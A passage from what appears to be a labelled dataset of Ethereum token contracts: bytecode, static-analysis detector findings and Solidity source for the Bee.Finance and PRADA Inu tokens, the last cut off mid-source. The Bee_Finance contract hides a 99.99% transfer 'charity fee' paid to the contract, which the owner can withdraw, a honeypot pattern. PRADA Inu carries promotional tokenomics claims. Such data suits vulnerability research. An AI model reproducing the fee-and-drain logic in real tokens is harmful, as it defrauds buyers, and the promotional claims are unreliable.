d5b8795505b83861015611e2957611e1581611c84565b855260019590950194938601938601611e04565b5098975050505050505050565b600060208284031215611e47578081fd5b813561162681612075565b600060208284031215611e63578081fd5b815161162681612075565b600060208284031215611e7f578081fd5b5035919050565b600080600060608486031215611e9a578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611edf57858101830151858201604001528201611ec3565b81811115611ef05783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611f8a5784516001600160a01b031683529383019391830191600101611f65565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611fbe57611fbe612034565b500190565b600082611fde57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ffd57611ffd612034565b500290565b60008282101561201457612014612034565b500390565b600060001982141561202d5761202d612034565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e557600080fd5b80151581146107e557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f094f89cda8e2a3f81f2bb04e51e64112275996cb693ff4c7b9aa926217440264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,359
0x4fa2aa909d02b31d98697ffd638483f1f36cad7b
/** *Submitted for verification at Etherscan.io on 2021-04-28 */ pragma solidity 0.8.4; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal virtual view returns (address) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the BEP20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface Token { function transfer(address, uint256) external returns (bool); } contract Bee_Finance is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Bee.Finance"; string private _symbol = "BEE"; uint8 private _decimals = 18; mapping(address => uint256) internal _tokenBalance; mapping(address => mapping(address => uint256)) internal _allowances; uint256 internal _tokenTotal = 5000000 *10**18; mapping(address => bool) isExcludedFromFee; uint256 public _charityFee = 9999; address public charityAddress = address(this); constructor() { isExcludedFromFee[_msgSender()] = true; isExcludedFromFee[address(this)] = true; _tokenBalance[_msgSender()] = _tokenTotal; emit Transfer(address(0), _msgSender(), _tokenTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public override view returns (uint256) { return _tokenTotal; } function balanceOf(address account) public override view returns (uint256) { return _tokenBalance[account]; } function transfer(address recipient, uint256 amount) public override virtual returns (bool) { _transfer(_msgSender(),recipient,amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override virtual returns (bool) { _transfer(sender,recipient,amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 transferAmount = amount; uint256 charityFee = amount.mul(_charityFee).div(10000); if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) { //@dev charity fee if(_charityFee != 0) { transferAmount = transferAmount.sub(charityFee); _tokenBalance[charityAddress] = _tokenBalance[charityAddress].add(charityFee); emit Transfer(recipient, charityAddress, charityFee); } } _tokenBalance[sender] = _tokenBalance[sender].sub(amount); _tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount); emit Transfer(sender, recipient, transferAmount); } // function to allow admin to transfer ERC20 tokens from this contract function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner { Token(_tokenAddress).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610264578063afcf2fc414610294578063dd62ed3e146102b2578063f2fde38b146102e2576100f5565b806370a08231146101ee578063715018a61461021e5780638da5cb5b1461022857806395d89b4114610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806340f8007a146101b45780636a395ccb146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102fe565b60405161010f919061173d565b60405180910390f35b610132600480360381019061012d91906114c9565b610390565b60405161013f9190611722565b60405180910390f35b6101506103ae565b60405161015d919061187f565b60405180910390f35b610180600480360381019061017b919061147a565b6103b8565b60405161018d9190611722565b60405180910390f35b61019e610491565b6040516101ab919061189a565b60405180910390f35b6101bc6104a8565b6040516101c9919061187f565b60405180910390f35b6101ec60048036038101906101e7919061147a565b6104ae565b005b61020860048036038101906102039190611415565b6105d6565b604051610215919061187f565b60405180910390f35b61022661061f565b005b610230610772565b60405161023d91906116de565b60405180910390f35b61024e61079b565b60405161025b919061173d565b60405180910390f35b61027e600480360381019061027991906114c9565b61082d565b60405161028b9190611722565b60405180910390f35b61029c61084b565b6040516102a991906116de565b60405180910390f35b6102cc60048036038101906102c7919061143e565b610871565b6040516102d9919061187f565b60405180910390f35b6102fc60048036038101906102f79190611415565b6108f8565b005b60606001805461030d90611a6e565b80601f016020809104026020016040519081016040528092919081815260200182805461033990611a6e565b80156103865780601f1061035b57610100808354040283529160200191610386565b820191906000526020600020905b81548152906001019060200180831161036957829003601f168201915b5050505050905090565b60006103a461039d610aba565b8484610ac2565b6001905092915050565b6000600654905090565b60006103c5848484610c8d565b610486846103d1610aba565b61048185604051806060016040528060288152602001611dff60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610aba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a29092919063ffffffff16565b610ac2565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60085481565b6104b6610aba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053a906117ff565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b815260040161057e9291906116f9565b602060405180830381600087803b15801561059857600080fd5b505af11580156105ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d09190611505565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610627610aba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab906117ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107aa90611a6e565b80601f01602080910402602001604051908101604052809291908181526020018280546107d690611a6e565b80156108235780601f106107f857610100808354040283529160200191610823565b820191906000526020600020905b81548152906001019060200180831161080657829003601f168201915b5050505050905090565b600061084161083a610aba565b8484610c8d565b6001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610900610aba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461098d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610984906117ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f49061177f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b299061185f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b999061179f565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c80919061187f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf49061183f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d649061175f565b60405180910390fd5b60008111610db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da79061181f565b60405180910390fd5b60008190506000610de0612710610dd26008548661120690919063ffffffff16565b61128190919063ffffffff16565b9050600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e865750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561100c5760006008541461100b57610ea881836112cb90919063ffffffff16565b9150610f1e8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131590919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611002919061187f565b60405180910390a35b5b61105e83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112cb90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f382600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131590919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611193919061187f565b60405180910390a35050505050565b60008383111582906111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e1919061173d565b60405180910390fd5b50600083856111f991906119b2565b9050809150509392505050565b600080831415611219576000905061127b565b600082846112279190611958565b90508284826112369190611927565b14611276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126d906117df565b60405180910390fd5b809150505b92915050565b60006112c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611373565b905092915050565b600061130d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a2565b905092915050565b600080828461132491906118d1565b905083811015611369576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611360906117bf565b60405180910390fd5b8091505092915050565b600080831182906113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b1919061173d565b60405180910390fd5b50600083856113c99190611927565b9050809150509392505050565b6000813590506113e581611db9565b92915050565b6000815190506113fa81611dd0565b92915050565b60008135905061140f81611de7565b92915050565b60006020828403121561142757600080fd5b6000611435848285016113d6565b91505092915050565b6000806040838503121561145157600080fd5b600061145f858286016113d6565b9250506020611470858286016113d6565b9150509250929050565b60008060006060848603121561148f57600080fd5b600061149d868287016113d6565b93505060206114ae868287016113d6565b92505060406114bf86828701611400565b9150509250925092565b600080604083850312156114dc57600080fd5b60006114ea858286016113d6565b92505060206114fb85828601611400565b9150509250929050565b60006020828403121561151757600080fd5b6000611525848285016113eb565b91505092915050565b611537816119e6565b82525050565b611546816119f8565b82525050565b6000611557826118b5565b61156181856118c0565b9350611571818560208601611a3b565b61157a81611b2d565b840191505092915050565b60006115926023836118c0565b915061159d82611b3e565b604082019050919050565b60006115b56026836118c0565b91506115c082611b8d565b604082019050919050565b60006115d86022836118c0565b91506115e382611bdc565b604082019050919050565b60006115fb601b836118c0565b915061160682611c2b565b602082019050919050565b600061161e6021836118c0565b915061162982611c54565b604082019050919050565b60006116416020836118c0565b915061164c82611ca3565b602082019050919050565b60006116646029836118c0565b915061166f82611ccc565b604082019050919050565b60006116876025836118c0565b915061169282611d1b565b604082019050919050565b60006116aa6024836118c0565b91506116b582611d6a565b604082019050919050565b6116c981611a24565b82525050565b6116d881611a2e565b82525050565b60006020820190506116f3600083018461152e565b92915050565b600060408201905061170e600083018561152e565b61171b60208301846116c0565b9392505050565b6000602082019050611737600083018461153d565b92915050565b60006020820190508181036000830152611757818461154c565b905092915050565b6000602082019050818103600083015261177881611585565b9050919050565b60006020820190508181036000830152611798816115a8565b9050919050565b600060208201905081810360008301526117b8816115cb565b9050919050565b600060208201905081810360008301526117d8816115ee565b9050919050565b600060208201905081810360008301526117f881611611565b9050919050565b6000602082019050818103600083015261181881611634565b9050919050565b6000602082019050818103600083015261183881611657565b9050919050565b600060208201905081810360008301526118588161167a565b9050919050565b600060208201905081810360008301526118788161169d565b9050919050565b600060208201905061189460008301846116c0565b92915050565b60006020820190506118af60008301846116cf565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118dc82611a24565b91506118e783611a24565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561191c5761191b611aa0565b5b828201905092915050565b600061193282611a24565b915061193d83611a24565b92508261194d5761194c611acf565b5b828204905092915050565b600061196382611a24565b915061196e83611a24565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156119a7576119a6611aa0565b5b828202905092915050565b60006119bd82611a24565b91506119c883611a24565b9250828210156119db576119da611aa0565b5b828203905092915050565b60006119f182611a04565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a59578082015181840152602081019050611a3e565b83811115611a68576000848401525b50505050565b60006002820490506001821680611a8657607f821691505b60208210811415611a9a57611a99611afe565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611dc2816119e6565b8114611dcd57600080fd5b50565b611dd9816119f8565b8114611de457600080fd5b50565b611df081611a24565b8114611dfb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206ebb55a7aad43cc4353d1de5415d5c558c7808e77f357958fcefa3bf4ed6276264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
1,360
0x149c01402570b41a0ab6a516113d8188afcaed06
/** *Submitted for verification at Etherscan.io on 2021-07-07 */ /* ┏━━━┳━━━┳━━━┳━━━┳━━━┓ ┃┏━┓┃┏━┓┃┏━┓┣┓┏┓┃┏━┓┃ ┃┗━┛┃┗━┛┃┃╋┃┃┃┃┃┃┃╋┃┃┏┳━┓┏┓┏┓ ┃┏━━┫┏┓┏┫┗━┛┃┃┃┃┃┗━┛┃┣┫┏┓┫┃┃┃ ┃┃╋╋┃┃┃┗┫┏━┓┣┛┗┛┃┏━┓┃┃┃┃┃┃┗┛┃ ┗┛╋╋┗┛┗━┻┛╋┗┻━━━┻┛╋┗┛┗┻┛┗┻━━┛x2 https://t.me/PRADAinu NEW FIXED CONTRACT! LUXURY AT ITS FINEST! Welcome to PRADA Inu! Liquidity locked, ownership renounced. * PRADA Inu is a meme token with a twist! * PRADA Inu has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell. * * TOKENOMICS: * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS * No buy or sell token limits. Whales are welcome! * 10% total tax on buy * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. * No team tokens, no presale * A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PRADAinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"PRADA Inu - t.me/PRADAinu"; string private constant _symbol = unicode"PRADA"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event 